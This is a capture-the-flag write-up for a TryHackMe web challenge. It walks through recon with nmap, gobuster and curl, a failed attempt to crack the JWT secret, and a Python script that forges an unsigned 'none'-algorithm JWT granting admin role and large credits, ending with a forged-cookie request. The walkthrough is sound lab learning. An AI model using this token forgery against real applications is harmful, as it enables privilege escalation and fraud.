TryHeartMe (TryHackMe CTF Writeup)

TryHeartMe is an e-commerce/web exploitation Challenge that was part of the Love at First Breach 2026, red team beginner’s CTF. It covers JWT token manipulation using the "none" algorithm attack to bypass signature verification and purchase a hidden product.
Challenge Overview
My Dearest Hacker,
The TryHeartMe shop is open for business. Can you find a way to purchase the hidden “Valenflag” item?
You can access the web app here:http://MACHINE_IP:5000With love,
Chief Inspector Valentine 💕
Tools Used
Nmap - Port scanning and service enumeration
Gobuster - Directory/endpoint enumeration
curl - Initial reconnaissance and HTTP requests
Burp Suite - Request interception, modification, and replaying (key tool!)
Python - JWT token generation/manipulation
John the Ripper - Attempted JWT secret cracking
Base64 decoder - JWT payload analysis
Answer the questions below
What is the flag?
Initial Reconnaissance
Started with the basics, running Nmap scan and Gobuster as well as any basic information I would find about the site
nmap -p- -sV <IP_Address>
Starting Nmap 7.80 ( https://nmap.org ) at 2026-02-13 17:29 GMT
mass_dns: warning: Unable to open /etc/resolv.conf. Try using --system-dns or specify valid servers with --dns-servers
mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers with --dns-servers
Nmap scan report for <IP_Address>
Host is up (0.00014s latency).
Not shown: 65533 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.14 (Ubuntu Linux; protocol 2.0)
5000/tcp open upnp?
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port5000-TCP:V=7.80%I=7%D=2/13%Time=698F5F8E%P=x86_64-pc-linux-gnu%r(Ge
SF:tRequest,DC6,"HTTP/1\.1\x20200\x20OK\r\nServer:\x20Werkzeug/3\.0\.1\x20
SF:Python/3\.12\.3\r\nDate:\x20Fri,\x2013\x20Feb\x202026\x2017:29:50\x20GM
SF:T\r\nContent-Type:\x20text/html;\x20charset=utf-8\r\nContent-Length:\x2
SF:03351\r\nConnection:\x20close\r\n\r\n<!doctype\x20html>\n<html\x20lang=
SF:\"en\">\n<head>\n\x20\x20<meta\x20charset=\"utf-8\"/>\n\x20\x20<meta\x2
SF:0name=\"viewport\"\x20content=\"width=device-width,\x20initial-scale=1\
SF:"/>\n\x20\x20<title>TryHeartMe\x20\xe2\x80\x94\x20Shop</title>\n\x20\x2
SF:0<link\x20rel=\"stylesheet\"\x20href=\"/static/css/style\.css\">\n\x20\
SF:x20<script\x20defer\x20src=\"/static/js/app\.js\"></script>\n</head>\n<
SF:body>\n<header\x20class=\"topbar\">\n\x20\x20<a\x20class=\"brand\"\x20h
SF:ref=\"/\">\n\x20\x20\x20\x20<img\x20class=\"brand-mark\"\x20src=\"/stat
SF:ic/img/logo\.png\"\x20alt=\"TryHeartMe\">\n\x20\x20</a>\n\n\x20\x20\x20
SF:\x20<nav\x20class=\"nav\">\n\x20\x20\x20\x20\x20\x20<a\x20href=\"/\"\x2
SF:0class=\"navlink\">Shop</a>\n\x20\x20\x20\x20\x20\x20\n\x20\x20\x20\x20
SF:\x20\x20\x20\x20<a\x20href=\"/login\"\x20class=\"navbtn\x20navbtn--pill
SF:\">Login</a>\n\x20\x20\x20\x20\x20\x20\x20\x20<a\x20href=\"/register\"\
SF:x20class=\"navbtn\x20navbtn--primary\x20navbtn--pill\">Sign\x20up</a>\n
SF:\x20\x20\x20\x20\x20\x20\n\x20\x20\x20\x20</nav>\n\x20\x20</header>\n\n
SF:\x20\x20<main\x20class=\"container\">\n\x20\x20\x20\x20\n\x20\x20\x20\x
SF:20\x20\x20\n\x20\x20\x20\x20\n\x20\x20")%r(RTSPRequest,16C,"<!DOCTYPE\x
SF:20HTML>\n<html\x20lang=\"en\">\n\x20\x20\x20\x20<head>\n\x20\x20\x20\x2
SF:0\x20\x20\x20\x20<meta\x20charset=\"utf-8\">\n\x20\x20\x20\x20\x20\x20\
SF:x20\x20<title>Error\x20response</title>\n\x20\x20\x20\x20</head>\n\x20\
SF:x20\x20\x20<body>\n\x20\x20\x20\x20\x20\x20\x20\x20<h1>Error\x20respons
SF:e</h1>\n\x20\x20\x20\x20\x20\x20\x20\x20<p>Error\x20code:\x20400</p>\n\
SF:x20\x20\x20\x20\x20\x20\x20\x20<p>Message:\x20Bad\x20request\x20version
SF:\x20\('RTSP/1\.0'\)\.</p>\n\x20\x20\x20\x20\x20\x20\x20\x20<p>Error\x20
SF:code\x20explanation:\x20400\x20-\x20Bad\x20request\x20syntax\x20or\x20u
SF:nsupported\x20method\.</p>\n\x20\x20\x20\x20</body>\n</html>\n");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 95.58 seconds
curl -i <IP_Address>:5000
curl -i <IP_Address>:5000
HTTP/1.1 200 OK
Server: Werkzeug/3.0.1 Python/3.12.3
Date: Fri, 13 Feb 2026 17:32:52 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 3351
Connection: close
<!doctype html>
<html lang="en">
<head>
<meta charset="utf-8"/>
<meta name="viewport" content="width=device-width, initial-scale=1"/>
<title>TryHeartMe \u2014 Shop</title>
<link rel="stylesheet" href="/static/css/style.css">
<script defer src="/static/js/app.js"></script>
</head>
<body>
<header class="topbar">
<a class="brand" href="/">
<img class="brand-mark" src="/static/img/logo.png" alt="TryHeartMe">
</a>
<nav class="nav">
<a href="/" class="navlink">Shop</a>
<a href="/login" class="navbtn navbtn--pill">Login</a>
<a href="/register" class="navbtn navbtn--primary navbtn--pill">Sign up</a>
</nav>
</header>
<main class="container">
<div class="page-head">
<div>
<h1 class="page-title">TryHeartMe Valentines Shop</h1>
<p class="page-sub">Flowers, heart chocolates, and sweet surprises. Buy items using credits. Online top-ups are currently unavailable.</p>
</div>
<div class="toolbar">
<span class="pill">Guest</span>
</div>
</div>
<div class="grid grid--3">
<a class="product" href="/product/rose-bouquet">
<span class="badge ">Popular</span>
<img class="product-img" src="/static/img/flowers.jpg" alt="">
<div class="product-body">
<div class="product-name">Rose Bouquet (12 stems)</div>
<div class="product-desc">Fresh-cut roses with a satin ribbon. Delivered with a handwritten note.</div>
<div class="product-foot">
<div class="price">120 credits</div>
<div style="color:var(--muted); font-size:12px">View</div>
</div>
</div>
</a>
<a class="product" href="/product/heart-choco">
<span class="badge ">Limited</span>
<img class="product-img" src="/static/img/heart-choco.jpg" alt="">
<div class="product-body">
<div class="product-name">Heart Chocolates (Box)</div>
<div class="product-desc">Assorted heart-shaped chocolates with caramel & praline.</div>
<div class="product-foot">
<div class="price">85 credits</div>
<div style="color:var(--muted); font-size:12px">View</div>
</div>
</div>
</a>
<a class="product" href="/product/strawberry-dip">
<span class="badge ">Sweet</span>
<img class="product-img" src="/static/img/strawberries.jpg" alt="">
<div class="product-body">
<div class="product-name">Chocolate-Dipped Strawberries</div>
<div class="product-desc">A dozen strawberries dipped in dark chocolate and pink drizzle.</div>
<div class="product-foot">
<div class="price">60 credits</div>
<div style="color:var(--muted); font-size:12px">View</div>
</div>
</div>
</a>
<a class="product" href="/product/love-letter">
<span class="badge ">Classic</span>
<img class="product-img" src="/static/img/letter.jpg" alt="">
<div class="product-body">
<div class="product-name">Love Letter Card</div>
<div class="product-desc">Premium card + envelope. Choose a message or write your own.</div>
<div class="product-foot">
<div class="price">25 credits</div>
<div style="color:var(--muted); font-size:12px">View</div>
</div>
</div>
</a>
</div>
</main>
</body>
</html>
gobuster dir -u http://<IP_Address>:5000 -w /usr/share/wordlists/dirb/common.txt -x php,html,txt
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.49.156.181:5000
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Extensions: php,html,txt
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/account (Status: 302) [Size: 227] [--> /login?next=/account]
/admin (Status: 302) [Size: 223] [--> /login?next=/admin]
/login (Status: 200) [Size: 1461]
/logout (Status: 302) [Size: 189] [--> /]
/register (Status: 200) [Size: 1517]
Progress: 18456 / 18460 (99.98%)
===============================================================
Finished
===========
curl http://<IP_Address>:5000/static/js/app.js
(function(){
const toasts = document.querySelectorAll('.toast');
if(!toasts.length) return;
setTimeout(() => {
toasts.forEach(t => t.style.opacity = "0");
setTimeout(() => toasts.forEach(t => t.remove()), 450);
}, 3200);
})();
curl -i -X POST http://<IP_Address>:5000/register \
> -d "username=testuser&password=password123"
HTTP/1.1 302 FOUND
Server: Werkzeug/3.0.1 Python/3.12.3
Date: Fri, 13 Feb 2026 17:42:45 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 217
Location: /register?next=
Vary: Cookie
Set-Cookie: session=eyJfZmxhc2hlcyI6W3siIHQiOlsiZXJyIiwiUGxlYXNlIHVzZSBhIHZhbGlkIGVtYWlsIGFuZCBwYXNzd29yZCAobWluIDYgY2hhcnMpLiJdfV19.aY9ilQ.XGeGVPS7sVIAJCHl-WkavmTUv7U; HttpOnly; Path=/
Connection: close
<!doctype html>
<html lang=en>
<title>Redirecting...</title>
<h1>Redirecting...</h1>
<p>You should be redirected automatically to the target URL: <a href="/register?next=">/register?next=</a>. If not, click the link.
curl -i -X POST <http://10.49.156.181:5000/register> \\
> -H "Content-Type: application/x-www-form-urlencoded" \\
> -d "username=test@example.com&password=password123" \\
> -c cookies.txt
HTTP/1.1 302 FOUND
Server: Werkzeug/3.0.1 Python/3.12.3
Date: Fri, 13 Feb 2026 17:46:26 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 217
Location: /register?next=
Vary: Cookie
Set-Cookie: session=eyJfZmxhc2hlcyI6W3siIHQiOlsiZXJyIiwiUGxlYXNlIHVzZSBhIHZhbGlkIGVtYWlsIGFuZCBwYXNzd29yZCAobWluIDYgY2hhcnMpLiJdfV19.aY9jcg.Hk5pPOoFiQ5_M6knqcT3V-XbNAg; HttpOnly; Path=/
Connection: close
<!doctype html>
<html lang=en>
<title>Redirecting...</title>
<h1>Redirecting...</h1>
<p>You should be redirected automatically to the target URL: <a href="/register?next=">/register?next=</a>. If not, click the link.
curl -i -X POST <http://10.49.156.181:5000/login> \\
> -H "Content-Type: application/x-www-form-urlencoded" \\
> -d "username=test@example.com&password=password123" \\
> -c cookies.txt -b cookies.txt
HTTP/1.1 302 FOUND
Server: Werkzeug/3.0.1 Python/3.12.3
Date: Fri, 13 Feb 2026 17:47:32 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 211
Location: /login?next=
Vary: Cookie
Set-Cookie: session=.eJyrVopPy0kszkgtVrKKrlZSKAFSSqlFRUo6SgE5qYnFqQqlQJyoUJaYk5mikJqbmJmjkJiXolCQWFxcnl-UoqCRm5mnYKaQnJFYVKyppxRbq4Nqimcestb8IrhOkNrYWgCjhiq_.aY9jtA.nzFBftVTZVRosnrpSfjgsMpjoZM; HttpOnly; Path=/
Connection: close
<!doctype html>
<html lang=en>
<title>Redirecting...</title>
<h1>Redirecting...</h1>
<p>You should be redirected automatically to the target URL: <a href="/login?next=">/login?next=</a>. If not, click the link.
echo "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJlbWFpbCI6ImFkbWluQHRyeWhlYXJ0bWUuY29tIiwicm9sZSI6InVzZXIiLCJjcmVkaXRzIjowLCJpYXQiOjE3NzEwNjUxMzIsInRoZW1lIjoidmFsZW50aW5lIn0.4H4wfa2AkGa9zNyGybPjM_DbaD2g3sY2p6GF0Q7xs6M" > jwt.txt
root@ip-10-48-84-255:~# john jwt.txt --wordlist=/usr/share/wordlists/rockyou.txt --format=HMAC-SHA256
Using default input encoding: UTF-8
Loaded 1 password hash (HMAC-SHA256 [password is key, SHA256 256/256 AVX2 8x])
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:00:18 DONE (2026-02-14 10:40) 0g/s 795549p/s 795549c/s 795549C/s !Sketchy!..*7¡Vamos!
Session completed.
import base64
import json
# Header with "none" algorithm
header = {"alg": "none", "typ": "JWT"}
header_encoded = base64.urlsafe_b64encode(json.dumps(header).encode()).decode().rstrip('=')
# Payload with lots of credits
payload = {
"email": "admin@tryheartme.com",
"role": "admin",
"credits": 99999,
"iat": 1771065132,
"theme": "valentine"
}
payload_encoded = base64.urlsafe_b64encode(json.dumps(payload).encode()).decode().rstrip('=')
# JWT with no signature (note the trailing dot)
jwt_token = f"{header_encoded}.{payload_encoded}."
print(jwt_token)
GET /receipt/valenflag HTTP/1.1
Host: 10.48.172.84:5000
Accept-Language: en-GB,en;q=0.9
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.70 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8
Referer: <http://10.48.172.84:5000/>
Accept-Encoding: gzip, deflate, br
Cookie: tryheartme_jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJlbWFpbCI6ImFkbWluQHRyeWhlYXJ0bWUuY29tIiwicm9sZSI6ImFkbWluIiwiY3JlZGl0cyI6OTkyMjIsImlhdCI6MTc3MTA2NjI2MywidGhlbWUiOiJ2YWxlbnRpbmUifQ.7ksZnszwg9hzk3a7kAhlqctipn5x4IBk0ZLbeNuTeiM
Connection: keep-alive





